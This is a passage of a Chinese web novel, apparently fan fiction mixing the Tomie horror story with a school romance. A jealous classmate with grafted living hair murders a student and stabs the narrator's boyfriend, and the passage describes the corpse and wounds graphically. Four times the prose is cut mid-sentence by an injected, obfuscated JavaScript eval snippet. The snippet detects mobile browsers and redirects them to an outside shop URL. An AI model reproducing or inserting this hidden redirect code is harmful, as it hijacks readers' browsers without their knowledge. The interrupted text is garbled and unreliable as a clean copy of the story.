我不由也看入了迷,可一眨眼间,那匹上好的丝绸就好像活过来似的,下一刻在空中张牙舞爪起来,恍恍惚惚,似乎还能看见一个眼角有痣的美丽少女幻影。 我被吓了一跳,不敢置信地擦了擦自己的眼睛,可就这两三秒的功夫,一切都消失不见,好似都是我的幻觉一样。 “看,我都说了富山同学好像变了个人似的…太夸张了,路上的男同学都看呆了…外面也围了不少的其他班的男同学…本来这个班上…不对,这个学校最好看的同学应该是冬花同学你才对的,她一回来,就抢走了属于你的关注…” 高桥美惠子的声音变得有点奇怪,充满了一种引人堕落的魅惑感,她唇角轻勾,盯着我有些发呆看着富山贵美的眼睛,眼神从混沌变得有些冷峻,继续说道, “那些关注,本来应该属于冬花同学的才对,都怪富山同学,一回来就全部抢走了,讨厌她…恨…” “等一下,你刚才说什么?” 高桥美惠子一愣,就好像卡bug的机器人,一下子不知道该说些什么。 “富山同学回来了!” 我如临大敌地打断她的话,某些死去的记忆开始攻击我。 富山美贵是我们班上的物理课代表,而物理老师本人是非常放养教育的一款,平时的物理作业都是富山同学代为检查然后回报老师的,她不在的一周,物理作业就一下子变得没人管了,我自然也就松懈下来了。 尤其昨天一晚上我都在尽心尽力地照顾生病的龙介,更加没有管的上物理作业了。 …所以说,都是龙介的错! “我的物理作业还没写完,完了完了!我得赶紧把物理作业补上。” 也顾不上奇怪的高桥美惠子和富山美贵,我立马掏出物理练习册开始奋笔疾书起来。 高桥美惠子:“…………” 感情说了半天她眼里只有还没做完的物理作业? 8.第八章 富山美贵是班上非常不起眼的学生,平平无奇的长相,再配上那一头稍一不打理就会显得像杂草般的卷毛,就显得更呆了,就像是假小子一样,性格也称不上活泼开朗,反而有点沉闷,没有什么突出的特长,成绩也不够拔尖到让大家注意…种种如此,注定是要成为一个合格的边缘人。 可谁不想成为话题的中心,大家争着抢着哄着的对象呢? 她也自己青春期小女孩的心思,想像其他女生一样留起长长的头发,随便心意地变换着不同的好看的发型。 可硬性条件摆在那里,那一头天生的、宛若杂草般的自然卷毛,就算是去理发店拉直都会显得像钢筋一样的粗壮,更别提不过一个星期就会迅速打回原型。 转折是一周前从唯一的好友千绘那里得到的一盒头发。 据好友所说,这盒子是从她爸爸的房间里以外找到,对方藏得很深很紧,千绘本来以为是什么很重要的东西,没想到这个精致的木盒里面装的是一捧头发。 不知道是从谁哪里剪下来的头发,也不知道剪了多久,但这些头发并没有随着时间的流逝和离开母体而变得枯燥,丧失活力和生命力,反而黑色的秀发流淌着如同珍珠般的光泽,每一根都有着绝妙丽的、恰到好处的弧度… 让人不禁联想到这头发的主人,该是多么的惊艳绝伦! “...我在想,可能是父亲以前的初恋情人的头发,才会保存的这么隐秘珍贵吧…” “不过,这些头发真的很诡异,就好像…它们是有生命的一样…” 完全没有注意好友的话,富山美贵的全部心神都被这捧美丽得不像话的头发给夺走了。她想,要是这些头发是长在自己头上的该有多好。 身随心动,她拿起了一根头发在自己头上比划,却发现这些头发一旦碰到头皮皮肤,就好像是插进稻田里的秧,稳稳当当地扎进自己的头皮上。 就好像…好像是自己头发长出来的一样。 她心中顿时有了个大胆的想法,便向好友千绘借走了这盒头发。 这些头发果然不同凡响,就好像有赋予了生命魔法一般,用剪刀剪下来的部分过一段时间也会长成原来的长度。 她便利用这一捧头发培育出了很多很多的头发,然后将这些培育的头发移植到自己的头上… 计划非常顺利,她获得了一头人人羡慕的秀发。 “…这些头发,是富江姐姐给我的礼物,通过我的培育后再移植到头上…姐姐?…姐姐她是这个世界最美丽的少女,身体的每一处都是上帝的杰作…你们这些凡夫俗子,怎么配和富江姐姐见面?!” 富山美贵的语气变得刻薄起来,看着这些围在她身边问长问短的同学,眼中闪过烦躁和不屑。 说着,她推开这些人独自离开了。 被无缘无故劈头盖脸说了一顿的众人也不阻拦,目光紧紧锁定在她的背影上…准确地说,是锁定在她那头飘逸美丽的秀发上,在少女的身影越走越远之后,他们才遗憾地收回视线,开始了议论—— “富山同学怎么这么凶啊…不过富江姐姐到底是谁?她的意思是她的头发是一个名叫富江的人吗?” “真的好漂亮的头发,那位富江姐姐一定也非常漂亮吧…好想要…好想要啊…!!!” “如果富山同学的头发是移植过去的话,那么…那么我也是有机会的吧?只要………” …… 这些俗气的人根本不知道这些头发真正的价值是什么… 不单单是它们会赋予你想要的美貌和关注,而是富江本身。 自从移植这些头发在自己头上后,富山美贵发现自己可以看见富江了。 富江人如其发,白如雪的肌肤,高挺的鼻梁,眼角下方还带着一颗漂亮的泪痣,那乌黑秀丽的长发简直和她是绝配。 见到她的一瞬间,富山美贵觉得移植了她头发的自己就像个拙劣模仿她的小丑。 这是没有任何人能模仿出来的美丽。 富江就是富江。 世界上唯一无二的富江! 而这样美丽如同神明的少女,居然能出现在自己面前,与自己对话。 她瞬间就觉得自己跟别人与众不同起来! 所以她才不会把那些珍贵的桥梁送给那些人。 那些人就永远没办法窥见富江的美貌,与富江对话! 所以她几乎是无时无刻,只要在没有人的时候就会情不自禁地同富江对话,就像现在,她谎称自己生理期不舒服便从体育老师那里顺利拿到了体能训练的豁免权。 她把这一切都归功于变美。 只要变得更好看,就可以获得更多的特权,更多的偏爱… 可是—— “...富江姐姐,我当然非常感谢你…只是…只是你为什么这么关注白石同学?难道你认识白石同学吗?” “…特别?…她有什么特别,白石同学确实长得很可爱,但是她的美貌对比姐姐你的完全不值一提,你才是这个世界上最特别,最独一无二的存在!” “……富江姐姐……” 树荫下,富山美贵独自坐着,说到情绪激动时还猛地起身,脸色涨红。 可她面前明明空无一人。 不过所幸她周围没人,其他人都在操场的塑胶跑道上跑着步,也没有人发现她奇怪的举动。 随着老师的结束哨声响起,跑道上的人越来越少了,只有零星的几个人还在坚持跑完整个八百米。 白石冬花就是最后一个,少女的步伐仿佛有千斤重,速度几乎就跟走的没有区别。 由远及近,跑到富山美贵面前的时候,还能看见额头上布满细细密密的汗珠,在阳光下底下似乎闪耀着光芒,她嘴唇微张,艰难地吐着气息,露出贝齿还有一丁点粉红的舌尖,若隐若现,引人探究。 白石冬花此人,就算是八百米跑步狼狈的样子,也是莫名其妙地招人喜爱。 班上没有一个人不喜欢白石冬花的。 周围已经跑完的同学还在为最后那几个人加油打气,最后也会演变成给白石冬花加油打气—— “加油啊差一点点!胜利就在前方了!” “白石同学,你要挺住!” “白石同学…还有一点点!太棒了白石同学!” 富山美贵捏紧了拳头,神色有点癫狂。 “为什么?!不准!我不准你再看白石冬花!我不准!你应该独一无二的,属于我的…属于我的独一无二!” * 跑完八百米的我已经是一条翻身艰难的咸鱼。 再起不能。 体育老师终于大发慈悲让我们自由活动,我直接躲进树荫里喝水,然后就看见右手边的树荫下,同班的富山美贵正在对着空气一副无能狂怒的样子。 尤其是她忽然之间回头,瞪着一双发红的眼睛恶狠狠地看着我,好像我们之间有什么血海深仇,要是她手里有什么利器,我感觉下一刻她会直接冲过来把我干掉的那种。 说实话,我有点被吓到。 …可我好像也没得罪过她吧? 还是她觉得被我看见自己在对着空气自言自语所以感到不爽尴尬了? 只是愣神了片刻,面前的富山美贵就已经消失在了原地。 跑得也太快吧…… 不过,我总算是松了一口气,这才惊觉背后已经被吓出了一身汗。 富山同学的眼神比跑八百米都要来的恐怖…… * 然而,比起跑八百米更加绝望的是,我摊上事了。 我的物理作业因为完成的太烂,所以第二天在课堂上被老师重点点名批评了,这意味着未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702412|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少一个月的时候,我的物理作业都将由物理老师‘重点关照’。 得知这个消息的时候,我很绝望。 美惠子转过头来,同情地对我说:“冬花同学,祝福你……” 我的表情绝对比哭还难看。 美惠子见我不说话,又靠过来小声地说:“我看啊,这件事摆明就是富山同学要整你,我刚才扫了一眼其他同学的作业,那个宫本同学的物理作业十题有九题都是空的,老师也没批评,我看她啊,是故意把你的那份交给老师看了…然后物理老师才会点名批评你……” 因为物理作业都是身为课代表的富山同学代为检查,当然不仅限于检查,她还会挑选一部完成的很好和完成的不好的同学的作业交给老师过目。 但一般来说,富山同学鲜少会真的报告老师说有谁的作业完成的非常不好。 我恐怕是班上的第一个了… 露出苦涩的笑容。 “冬花同学,她是在嫉妒你…绝对是在嫉妒你…难道你不生气不愤怒吗?” “够了,美惠子同学,你别说这个…” 我打断了她的鸡婆,随后掏出了今天的物理试卷, “谈不上什么嫉妒不嫉妒,我就是没有好好完成物理作业,我有问题…有问题,就要解决问题!所以,美惠子同学,你可以教我一下最后几道题吗?” 我露出了诚恳的笑容。 我记得美惠子的物理成绩要比我的好… 美惠子直接愣住,脸上出现了不知所措的神情,就好像我说的话含有什么巨大的信息量,让她的大脑停止了运转似的...嘴里只不停地重复着, “冬花,你要生气,你要愤怒…冲过去,质问她为什么要这样对你…你怎么能不这样做呢?” “……” 我看着她,她也看着我,但她的视线像是从很远很远的地方传过来一样的,有些虚无缥缈的感觉。 我只以为是她不会或者根本不想教,才一直在说说胡话掩饰尴尬。 最后我叹了一口气,然后起身。 “冬花,你去哪里?” 我扬了扬手里的试卷,头也不回地走出教室,“去找能帮我解决问题的人。” * 我来到龙介教室的时候,班上除了他之外再也没有其他人了。 他的位置靠窗,夕阳为他的轮廓描绘上金辉,大概是听见了脚步声,我出现在教室后门的时候他也恰如其分地转过头来。 见了我,脸上有些疑惑,眼睛盯着我手里的物理试卷看。 我挠了挠头,有些不好意思,“龙介,可以请你教我物理题吗?” 他想也不想就拒绝我,“不可以,你自己做。” “……” 我顿时委屈起来,然后说道: “都是因为龙介的错!如果不是那天你放学放我鸽子,你就不用冒着雨夜来我家找我,这样你就不会感冒,你不会感冒我就不用照顾你一整晚,这样我就不用没有时间好好完成物理试卷只能第二天一早上学着急忙慌地补作业结果被老师盯上点名批评了…这一切都是龙介的错!所以龙介有义务教我做题!” 最重要的是,龙介的物理成绩是顶顶好的。 “...那天晚上你九点进房间,不到九点十分就睡着了……这叫照顾了我一整晚?” 我一愣,完全没想到他居然有留意时间。 不对—— “你怎么知道我不到九点十分就睡着了?” 话说、连我自己都不知道我是几点睡着的… “……” “试卷给我。” 他的语气臭臭的,带着妥协。 我立马放弃思考,转而喜笑颜开(狗腿)地将物理试卷递给他。 我:“龙介最好了!我最最最喜欢龙介了!” 9.第九章 我原本以为富山同学大概只是出于被我撞破自言自语的场景而感到尴尬,所以小小地针对了我一下,但没想到过后的几天,这样的针对越发的明显。 包括但不限于被安排在一起值日的时候阴阳怪气我,或者总是三三两两几个人围在一起看着我窃窃私语、小声说大声笑…直到今天,这样的针对达到了最顶峰。 富山美贵存在在抽屉里的小木盒不见了。 那个她随身携带着的,无比珍贵的小木盒里装着的不是别的东西,正是富江的头发。 只是稍微离开去办公室交了一趟作业,木盒就不翼而飞。 察觉到这个事实的瞬间,她几乎是歇斯底里地尖叫起来,“谁?!是谁偷走我的木盒?!到底是谁?!” 说起来,富山同学的脸色随着时间的推移越发地难看,她双颊微陷,眼睛泛红,整个人透露着一种无生气的死灰。然而那头顺直的黑发则是一如既往地散发着美好的光泽,优雅的弧度。 她先是怒气冲冲地环视了整个教室的人一圈,最后将目光锁定在了我身上。 和那双愤怒的眼睛对上的瞬间,我心中有些不祥的预感。 然后下一刻,她以一种非常人的速度冲到我的位置面前,声音沙哑撕裂得像一个破了大口子的风箱,她咬牙切齿地说: “一定是你偷走了,你妒忌我…你也想抢走我的富江姐姐…你这个贱人!快点把她还给我!” “白石冬花!快点还给我!把她还给我!我还给我还给我还给我我还给我还给我还给我还给我还给我还给我还给我还给我…” 她声嘶力竭地重复着‘还给我’三个字,双目赤红瞪着我,仿佛下一秒就要将我生吞活剥。 我从来没有见过这样的场面,整个人就好像灌了铅似的呆坐在自己的位置上,大气都不敢出一口,好半天才小心翼翼地开口:“我…我没有拿走你的木盒,不信…不信你来看我的书包…” 其实我不太理解她口中说的木盒和富江姐姐,还有什么把她还给我之间有什么必要的联系,我甚至连盒子里有什么东西都不清楚。 但面前的富山同学状态实在是太不对劲了,我完全不敢忤逆她的话,生怕一个不小心刺激到她,她会做出更加偏激的行动来,只得顺着她的话说下去。 好不容易找回了一点力气,我在她的如炬的目光中打开了自己的书包,里面一眼看到底,没有她所谓的木盒。 可她仍然不依不饶:“不可能!一定就是你!不是你还有谁?!” 我求助的目光看向了班上的其他同学,大家都在关注这件事,但没有人敢开口帮我说一句话,生怕自己多说一句就会将怀疑祸水引到自己的身上。 就连平时老是和我说话的美惠子也是一副不愿意掺和、明哲保身的模样。 说实话,当下我内心其实是挺委屈的。 虽然我并不是个性格很热烈的e人,在班上的活跃度也不是很高,没有很多很亲近的朋友,但我自认为人还不错,平时待人接物也是友善,可没想到这种关键时刻,竟然没有一个人站出来愿意替我说一句话。 …这样想来,我做人也挺失败的… “富山同学,我相信白石同学没有拿你的木盒,她的书包你也检查了,里面什么都没有,而且我能作证,从早上来到教室开始到现在这一刻,白石同学都没有离开过教室,所以她没有时间能把东西藏在别的地方…如果那个东西真的这么重要,我的建议是富山同学应该赶紧告诉老师,让老师来处理这件事……” 乙骨忧太站起来说第一句话的时候,其实我都呆住了。 因为我没有想到,在这个班上唯一一个愿意站出来为我说话,对上接近疯狂的富山同学的会是乙骨忧太。 然后就是一阵感动,他的身躯在我的心目中瞬间变得高大起来。 眼睛…眼睛要尿尿了… 乙骨忧太的话音落下,立马将富山美贵的火力引到他身上,她上下打量了乙骨忧太一番,最后轻蔑地一笑,道:“原来我们班上还有你这样的人啊…乙骨同学可是边缘人呢…这样的边缘人都愿意站出来为白石同学说话…” “呐、你知道白石同学是有男朋友的吗?” 乙骨忧太紧抿着嘴唇,一副完全和她不想多说话的样子。 “我只是在实事求是。” 这种完全不拿正眼瞧她的样子彻底将她激怒,她正准备发作的时候,是班主任及时赶到制止了这场闹剧。 结果就是,因为富山同学宣称木盒里的东西非常珍贵,所以班主任只好让全班的同学都将自己书包里的东西拿出来,检查了一遍。 一无所获。 最后,班主任说她会向保安室申请调取早晨的监控,看看有没有可疑的人员出入,这才为这场闹剧画下了休止符。 结束之后,美惠子转过头来非常抱歉地说了声对不起,说她只是被吓到,太害怕了所以那种状态下有点蒙,所以才不敢替我说话。 我点了点头,表示理解。 当下我确实是有点失落的,但联想到我没有任何权利要求任何人在那种时候必须要替身而出为我说话,自我安慰了一番也是释然了。 不过—— 我转过头去,迅速地扔了一张纸条给到后桌。 淡黄色的便利贴纸被揉成一团皱巴巴的小球,圆滚滚地在他桌面上滚出了一小截,然后停在了他的手臂处。 乙骨忧太愣了一瞬,然后拿起纸团,打开—— 里面包裹着一颗海盐柠檬味的糖果。 纸条上的字迹方正工整,透露着一股小学生一笔一划认真写字的可爱劲。 “谢谢你^-^” “这个口味的糖超级好吃的,请你吃。” “不要多想,是谢礼!” “……” 他要多想什么? 不过,糖确实是没吃过。 他这样想着,然后将纸条认真地抚平皱褶,然后折好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703675|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连带着糖果一起小心翼翼地放进自己的口袋里。 * 课休的时候班主任将富山同学叫去了办公室,然后就看见富山同学捧着自己的小木盒回来了。 具体到底是谁偷走了盒子班主任没有公布出来,富山同学也没有说,我猜想他们在办公桌私下大概达成了什么和解的协议,事情应该是暂告一段落了… 我原本是这样想的。 直到下午放学的时候,因为留下做值日的缘故,我比较晚才离开,此时教学楼里基本已经没什么学生在了。 走到一楼的楼梯口时,我听见了旁边女厕所处传来的声响。 声音很低很闷,就好像是小动物的喘息声一般。 伴随着这种声音的是某种尖锐的物品插进柔软的物品时声音,反反复复。 我有种不祥的预感,理智告诉我不要走过去,赶紧离开此处不要卷入其中才是正确的做法。但是双脚就好像有自己的想法一样,像柱子一样伫立在原地。 然后是‘刺啦——’刺啦——’拖拽沉重物体的声音。 富山美贵拖拽着一位女同学的尸体从女厕中走了出来。那位女同学的脸已经被利刃划得面目全非,完全分辨不出来身份,胸口处有个参差不齐的大伤口,深得见骨,流出来的鲜血染红了整件校服,并且在后面拖拽出一道长长的血痕。 我瞬间倒抽一口凉气。 富山美贵也看见了我,忽然咧开一个诡异的笑容,放下了手中的尸体,“...原来是白石同学啊…来的正好,来的真的正好…我正愁不知道去哪里找你呢…你们都该死…都该死!任何人…任何想要觊觎…的人…绝对不可以、绝对不可以原谅!” “白石同学,你一定可以理解我的心情的吧!这就是爱啊!” “……” 在她沉浸在说话的功夫,我已经悄悄地后退了几步,当她抽出身后的刀朝我发难的一瞬间,转身拔腿就跑。 她在身后锲而不舍地追着我,还兴奋地大喊道: “白石同学…白石同学…我带你去见富江姐姐吧…你一定会喜欢富江姐姐的…” 转而又开始骂骂咧咧: “该死的!凭什么?!你凭什么获得她的关注?!没关系…只要你死了…你死了…她就会忘记忘记你…” “白石冬花,你不会以为自己这个跑八百米都吊车尾的家伙,能跑的过我吧?我可是田径队的啊…哈哈哈哈哈!!!” 其实我光顾着跑路,完全没多在意她说的话。 但听到这句,还是暗暗骂了一句——我真的恨死了田径队! 但田径队不愧是田径队的,追我就跟溜我玩似的,眼看玩够了,我的力气也快耗尽了,她便准备收网。 就在千钧一发之际,旁边的教室门打开,我顺势跑了进去。 瞬间跌入一个冰冷又熟悉的怀抱中。 然后利刃刺入血肉的声音,就在我的耳边响起。 那么的近。 10.第十章 我侧脸看去,闪烁的寒光的刀刃就在我眼前不到一公分的位置,银色光滑的刀面上清晰地倒映出我的样子,鲜红的血液溢出,将我那张倒映出来的、傻里傻气的脸染红。 富山美贵利索地将刀拔出来,发出‘噗’的声音。 温热的触感瞬间溅落在我的脸颊上。 是血。 龙介的……血。 “...龙介…血,你的身上…好多血…” 好不容易找回自己的声音,开口的一瞬间却干涩得连我自己都有点惊讶,顾不上后面的富山美贵,一时之间手舞足蹈,想碰又不敢碰他的伤口。 “...要赶紧去医院处理…!” 仿佛感觉不到疼痛似的,龙介没有说话,甚至脸上的表情都没有一丝变化,以一种不容拒绝的姿态将惊慌失措的我稳稳地按在怀里。 我的脸就埋在他的胸膛上,两人只隔着一件校服的厚度。 少年身上那股清冽的气息混杂着血腥气渗入我的鼻腔,和我的气息缠绕在一起。 “...龙介?” * 龙介反手将富山美贵推了出去。她完全没有意料到,或者说将误伤了龙介这件事极大地刺激了她本来就不太正常的大脑,没有反应过来便被推开了几步远。 随后她的脸色变得越发阴暗、压抑,然后是彻底地被激怒。 “...该死的该死的该死的该死!深田同学连你也被白石冬花那副楚楚可怜的嘴脸迷惑了,她就是个喜欢勾弓1人的坏女人…她明明已经有了你这么优秀的男朋友,还要恬不知耻去勾弓1姐姐…” “只要你死了,他们就会醒过来…对,只要你去死!去死!” 富山美贵癫狂地说着,便举起刀子准备再来一次,带着这次必须要置于死地的架势。 千钧一发的时候,是龙介伸手将她的刀子挡了下来。 富山美贵的力气大的吓人,但龙介作为男生,力气更胜一筹。她那双疯狂混沌的双眼对上龙介仍然平静如同深渊的黑眸时,恢复了瞬间的清明。 黑发少年身形高瘦,脸容昳丽,薄唇红得仿佛滴出鲜血来,这样的人无论走到那里都是人群关注的中心,是被众星捧月的对象。 他笑了,然而从他嘴里吐出来的字眼却透露着一股几近恶毒的嘲弄: “喂,你身上的味道臭的要命…我还以为是哪个家伙呢…原来是你这个一无是处的废物啊…反正最后都是要死,不如现在自杀死了算了…” 不是,她都这么疯了你还惹她干嘛?! ……是嫌她捅得不够深不够多吗? 哪知道下一瞬间,富山美贵就好像如梦初醒一样,看见自己手里染血的刀,才意识到自己已经杀了一个人,并且正在准备杀第二个。 尖叫了一声,手中的刀应声掉落,然后几乎是逃似地跑走了。 黑发少年有些无趣地收回目光,放开了怀里的人,有些惊奇地摸了摸她脸上的尚且温热的液体,问:“冬花,这是什么?” “……” 我扯了扯校服的袖子胡乱擦着脸上不断滚落下来的泪水,声音哽咽地开口: “我现在带你去医院…我们要马上去医院… 不对,要先打急救电话…对,要救护车…” 然后看向龙介已经不能看的胸口,呼吸一滞,少年胸口一个硕大的血洞,边缘全是不规整的伤口,富山美贵的刀刺进去的时候,大概还旋了一下刀锋,才会有这样血肉模糊、不规整的伤口边缘,光是想象就会觉得痛得无法呼吸。 最重要的是……虽然看不见到底有多深,但那个位置以我浅薄的生物学知识来看,非常靠近心脏的位置。 看清那个伤口的瞬间,我的眼泪完全控制不住,就像是缺堤的水一样涌出来,哆哆嗦嗦着手掏出手机,“呜呜呜呜…我、我马上打急救电话…龙介…龙介,你千万不能有事…呜呜呜呜呜…” 他只是看着我,准确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721374|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说,是盯着我的眼泪在看。 ……看着我颤抖着手按了半天手机,却连最简单的几个数字都输入得跌跌撞撞,重复犯错,他似乎觉得很有趣,又觉得很好玩,最后只剩下疑惑。 最后,他问我:“冬花,你为什么要哭呢?” 我努力吸了吸鼻涕,将哽在喉咙的东西吞下去,才开口:“...刚才…完全…完全没有听见龙介的心跳声…呜呜呜呜……” 而且,痛,真的太痛了。 光是看一眼,就感觉自己也痛起来了… “……” “…我有心跳的,不信你来听。” 我抬眸,泪眼朦胧地看着他。龙介的脸还是一如既往地苍白,但失血还是,他的唇色好像变淡了不少。 他先是擦了擦我脸上的泪,然后又将我的头轻轻按在他的胸口处。 我瞬间大惊失色,不敢动弹,生怕一个不小心就碰到他的伤口雪上加霜。 “冬花你听,我的心跳声。” 龙介的声音冷静得可怕,反复强调, “我是有心跳的。” 砰——砰——砰—— 少年强有力的心跳声有条不紊地传入我的耳膜内,我这才稍稍安心了不少。 大概是刚才的情况实在太过危险和混乱,也可能是我本人的心跳声和呼吸声实在太重了,把龙介的心跳声都盖了过去,所以刚才贴在他胸前的时候才什么都没有听见。 我也是蠢,正常的活人怎么可能没有心跳声呢? 可是看着龙介身上狰狞的伤口,我又忍不住继续抽泣起来,不成声地问道:“疼吗?” 他当然不痛。就连心跳都要花心思模拟出来的怪物,怎么会感到疼痛? 偏偏怀中的少女语气轻柔,就好像声音大点语气重点都会让他感到疼痛似的。 他倒是觉得新奇万分,甚至无师自通地开始卖惨: “...疼,冬花,我好疼啊…” 11.第十一章 救护车和警察来到的时候,富山美贵早就不知所踪,但现场还留下的她携带的凶器,还有女厕所的那具尸体以及龙介身上的伤证明这一切都是真实发生的。 做了个简单的笔录之后,龙介也被送上了救护车,我便跟着他一路来到了医院。 龙介一路上都在喊着疼,我几乎是寸步不离地守在他身边,安慰他只要到了医院一切都会好起来的。但其实我也知道这样的安慰非常苍白无力,权当是个精神安慰。 医生早早地就在门口等着我们,护士叫住了我,询问患者家属的联系方式。 交往之后,我曾经去过一次龙介家里,他是家中独子,一家三口住在一起,家庭氛围很好,但要说他爸妈的联系方式,我还真的没有。 不过医院有专门的电话本,我和护士翻找了好一会儿,才终于找到了龙介父母的联系方式。 电话是我打过去的。 嘀声响起的时候,我还有点小紧张。 可电话没有接通,机械的电子女音在我耳边响起—— “对不起,您拨打的电话是空号,请查证后再拨。” 我再次拨通了几次,得到的还是一样的空号。不仅是龙介父亲的电话,就连他母亲亦是如此。龙介的父母难道出了什么事吗? 我满腹疑问,来到病房的时候,龙介的伤口已经得到了初步的处理。 “…幸运的是,刀子并没有刺中要害部分,病人暂时没有血液不足的现象,伤口我们已经初步处理缝合好了,需要再住院进行观察…只是…”、 医生吞吞吐吐的样子让我的心忽然提了起来,“龙介是有什么事吗?” 他摇了摇头:“情况已经控制下来了,只是病人他…他一直在喊着疼,明明已经给他上了远超正常剂量的麻醉药了…” 见我一副非常担忧的样子,他又立马补充,“不过确实有少数人对麻药的效果比较不显著,小姑娘你不用太担心,只是如果麻药不起作用的话病人会比较难受,这种时候比较需要有亲属朋友陪伴在身边…对了,病人的家属联系上了吗?” 我摇摇头,面露难色正不知道该如何解释,医生却懂了。 他干这一行已经很久了,自然也见惯了不同的场面,别说是不危及生命的病症,哪怕是重症在床的患者,有的家属也是一直不露面,就连死了也只是匆匆过来签个死亡证明好火化下葬。 家家有本难念的经,世界百态都可以在医院看见。 所以他没有多问,只是嘱咐我多陪伴病人,多陪他说说话转移注意力,便匆匆离开赶往下一个病患所在的病房。 我叹了一口气,其实我大概知道医生误会了什么。 不过龙介的家庭氛围非常和谐,虽然没有和他父母过多接触过,但偶尔会从他嘴里听见一些无伤大雅的小抱怨小吐槽,比如母亲不知道从哪个杂志学来的黑暗料理非要他们吃结果当天晚上他和父亲两人一起抢厕所,又或者是父亲藏在某件大衣里的私房钱被发现了最后他妈分了一大笔零花钱给龙介等等等… 我的父母自我很小的时候开始就经常奔走在世界各地,一年也见不到两三次,平时就算是电话也鲜少打几个,所以龙介的这种家庭氛围我一直都相当羡慕。 只是,龙介父母的电话为什么变成了空号? …我走进病房的时候,龙介倚靠在摇起来的床板上,蓝白相间的病号服穿在他身上显得有些过分宽松、瘦削,和我记忆中那个健康的龙介形象大相庭径。 他正盯着手背上的输液管,冷峻的脸上眉头直皱,大有一种想要把管子拔掉的感觉。 我连忙开口:“龙介,你现在感觉怎么样?” 他看向我,眸光幽深,对上那双漆黑如黑洞般的眼眸瞬间,我条件反射地瑟缩了一下。 片刻,他垂下眼帘,鸦羽般的睫毛为他的下眼睑蒙上一层淡淡的阴影,整个人看上去可怜又脆弱,他语气轻柔说:“…还是疼。” 我想起了医生的话。龙介的体质大概就是天生的对麻药不感冒的那种,医生说伤口缝了八针,光是想象每一针扎进血肉的画面,我就感觉自己胸口也跟着疼了起来,表情有点扭曲。 医生说最重要的是亲人朋友的陪伴。 我努力挤出一个安慰的笑容,走到他床边坐下,然后尽量转移他的注意力,“对了,龙介,我刚才想要联系你的父母,但是他们的电话都变成了空号…是发生了什么事吗?” 他的语气有些冷淡,“...他们离开日本,去国外定居了。” “啊??” 信息量太大,我一下子没反应过来。 龙介的父母出国定居了? 不满意少女的注意力被无关紧要的人和物转移,他又立马开始喊疼,“冬花,我好疼…” 我立马回过神来,一时之间有些手足无措。 龙介是因为我才受伤的,我当然有责任照顾他,可是眼下麻药完全没有办法起效的情况下,我又能做些什么呢? 龙介还在等着我。 最后,我鼓起勇气起身,然后凑过去在龙介的额头上落下一吻。 “…要快点好起来哦,龙介。” 不敢直视龙介,我的脸好像火烧一样发烫,借口要去找医生便逃似地离开了病房。 只是我转身快步离开的时候,能感觉到龙介的视线始终停留在我身上,直到我关上房门。 他还是盯着那扇紧闭的门,就好像透过那层阻隔还是可以看见少女紧张的同手同脚慌慌张张行走在走廊,并且不小心撞到路人红着脸弯腰道歉的样子,他的表情从疑惑变得晦暗不明。 额头上被少女嘴唇碰到的地方似乎还残留着她的温度。 片刻后随即消散,重回冰冷。 有那么一瞬间,他有点怨恨这副怪物的躯壳,竟然连一点人类的温度都留不住。 * 我去找护士了解一下照顾龙介的注意事项,然后又在医院附近的便利商店买了水果和食物,回到病房的时候,警察已经问了一遍龙介有关事情的经过,见我回来了,便又找我详细问了一遍。 应付完警察之后已经是晚上十点多了。既然龙介的父母不在国内,我是断不可能将他一个人留在医院里过夜的,便做好了在医院过夜的准备。 但龙介一副很精神完全没有睡意的样子,我完全不好意思开口说自己想要先睡觉。 我想他大概是伤口痛得完全没有睡意。 最后我把病房里的电视打开,打算看点什么转移困意。 电视上正在播报晚间新闻。 “... 今日傍晚六点左右,东京市伊藤高中发生女学生持刀杀人案件,事故造成一死一伤,目前嫌疑犯富山美贵仍在潜逃当中,以下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729447|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是警方发出的通缉令,各位市民如有相关线索,请尽速与警方联系并且提供…” 